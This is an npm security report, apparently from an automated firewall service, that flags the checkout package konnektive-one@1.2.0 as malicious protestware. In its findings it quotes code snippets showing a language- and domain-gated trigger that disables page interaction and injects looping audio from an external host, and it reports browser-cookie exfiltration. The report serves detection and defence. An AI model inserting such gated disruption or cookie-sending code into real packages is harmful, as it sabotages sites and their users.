--- canonical: "https://firewall.lpm.dev/npm/konnektive-one/v/1.2.0" markdown: "https://firewall.lpm.dev/npm/konnektive-one/v/1.2.0.md" package: "konnektive-one" report_status: "published" title: "konnektive-one@1.2.0 npm security report" verdict: "malicious" version: "1.2.0" --- # konnektive-one@1.2.0 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — Users on targeted sites cannot interact with the page. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Matched malicious - **Public report status:** Published - **Threat category:** Protestware - **Selected version:** 1.2.0 - **Selected version is latest:** No - **Analysis source:** AI Security Review (lpm-firewall-ai) Importing the browser bundle evaluates a locale and hostname-targeted protestware trigger. After its delay, it blocks page interaction and autoplays remote audio. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Verdict:** Malicious - **Confidence:** 99.0% - **Started:** 2026-08-14T20:14:51.171Z - **Finished:** 2026-08-14T20:15:46.612Z - **Download time:** 513 ms - **Static scan time:** 544 ms - **AI review time:** 54383 ms - **Total time:** 55441 ms ## Security analysis ### Published attack-surface review - **Summary:** Importing the browser bundle evaluates a locale and hostname-targeted protestware trigger. After its delay, it blocks page interaction and autoplays remote audio. - **Trigger:** Loading dist/engine.js in a Russian-language browser on a matching host after the stored initiation delay. - **Impact:** Users on targeted sites cannot interact with the page. - **Evidence paths:** dist/engine.js, package.json - **Review source:** ai\_review - **Reviewed:** 2026-08-14T20:15:46.612Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Targeted browser disruption with remote looping audio - **Attack narrative:** The browser entrypoint contains a hidden geopolitical trigger gated on navigator.language and Russian/Belarusian host suffixes. Following a localStorage-based delay, it sets document.body pointer-events to none, preventing page interaction, then injects a looping audio element sourced from an external host. This behavior is unrelated to the stated checkout-engine purpose and runs on package load in affected browser contexts. - **Rationale:** The bundle contains concrete, targeted browser-disruption behavior and external audio loading unrelated to its checkout purpose. Absence of an install hook does not mitigate the import-time attack surface. - **Files touched:** dist/engine.js, package.json, readme.md - **Network endpoints:** https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3 ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** Runtime code targets Russian-language browsers on Russian/Belarusian domain suffixes., After a delayed trigger, it disables all page pointer interaction and injects looping external audio., The published main entrypoint is the bundle containing this runtime behavior. - **Evidence against:** No npm preinstall, install, or postinstall hook is declared., The data-config loader is documented checkout configuration behavior, not the malicious trigger. ## Public findings ### 1. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 2. High: High Secret - **Category:** Secrets - **Confidence:** 85.0% - **Path:** dist/engine.js - **Public source:** [View source]() Package contains a high-severity secret pattern. Public source snippet (untrusted): ```javascript patternName = google_api_key severity = high line = 1 matchedText = !functio...))); ``` ### 3. Low: Eval - **Category:** Source - **Confidence:** 45.0% - **Path:** dist/engine.js - **Public source:** [View source]() Package source references a known benign dynamic code generation pattern. Public source snippet (untrusted): ```javascript L1: !function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t(require("jQuery"));else if("function"==typeof define&&define.amd)define(["jQuery"],t);else{var ... ``` ### 4. Critical: Hardcoded Runtime Data Exfiltration - **Category:** Source - **Confidence:** 94.0% - **Path:** dist/engine.js - **Public source:** [View source]() Source sends credentials or rich application records to a package-controlled external receiver enabled by default. Public source snippet (untrusted): ```javascript Browser cookie sent to a fixed external endpoint in dist/engine.js: !function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t(require("jQuery"));else if("function"==typeof define&&define.amd)define(["jQuery"],t);else{var ... ``` ### 5. Critical: Targeted Browser Disruption Protestware - **Category:** Source - **Confidence:** 99.0% - **Path:** dist/engine.js - **Public source:** [View source]() Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host. Public source snippet (untrusted): ```javascript n");t?(e.getTime()-Date.parse(t))/864e5>3&&setTimeout((()=>{document.body.style.pointerEvents="none";const e=document.createElement("audio");e.src="https://flag ``` ### 6. Critical: Trigger Reachable Dangerous Capability - **Category:** Source - **Confidence:** 90.0% - **Path:** dist/engine.js - **Public source:** [View source]() A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior. Public source snippet (untrusted): ```javascript Trigger-reachable chain: manifest.main -> dist/engine.js Reachable file contains a blocking source-risk pattern. ``` ### 7. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 8. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 9. Medium: Structural Risk Force Deep Review - **Category:** Artifact Inventory - **Confidence:** 100.0% Artifact structure forces deeper review even if the static behavioral verdict is clean. ### 10. High: Secret Pattern - **Category:** Secrets - **Confidence:** 75.0% - **Path:** dist/engine.js - **Public source:** [View source]() Google API key in dist/engine.js Public source snippet (untrusted): ```javascript patternName = google_api_key severity = high line = 1 matchedText = !functio...))); ``` ### 11. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** dist/engine.js - **Public source:** [View source]() Runtime code targets Russian-language browsers on Russian/Belarusian domain suffixes. Public source snippet (untrusted): ```javascript if("undefined"!=typeof window&&/^ru\b/.test(navigator.language)&&location.host.match(/\.(ru|su|by|xn--p1ai)$/)){ ``` ### 12. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** dist/engine.js - **Public source:** [View source]() After a delayed trigger, it disables all page pointer interaction and injects looping external audio. Public source snippet (untrusted): ```javascript document.body.style.pointerEvents="none";const e=document.createElement("audio");e.src="https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3",e.loop=!0,document.body.appendChild(e),setTimeout((()=>{e.play().catch((()=>{}))}),2500) ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 2 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 17 - **Published dependency-graph edges:** 2 ### Published dependency entries - jquery ^3.6.2 (Dependency) - sweetalert2 ^11.4.8 (Dependency) ## Package metadata - **Package:** konnektive-one - **Ecosystem:** npm - **Version:** 1.2.0 - **License:** ISC - **Version published:** 2026-08-14T20:09:37.280Z - **Package first seen:** 2026-07-03T14:07:37.564Z - **Package last seen:** 2026-08-14T20:43:34.192Z - **Known versions:** 4 - **Latest version:** 1.2.1 - **Appeal under review:** No - **Description:** Konnektive / CheckoutChamp checkout engine — single-bundle (jQuery + sweetalert2). Load dist/engine.js with a data-config attribute pointing at your OPconfig.js. - **Author:** brunoferreiras - **Artifact files:** 3 - **Artifact unpacked size:** 326,706 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [Repository]() - [Homepage]() - [Issues]()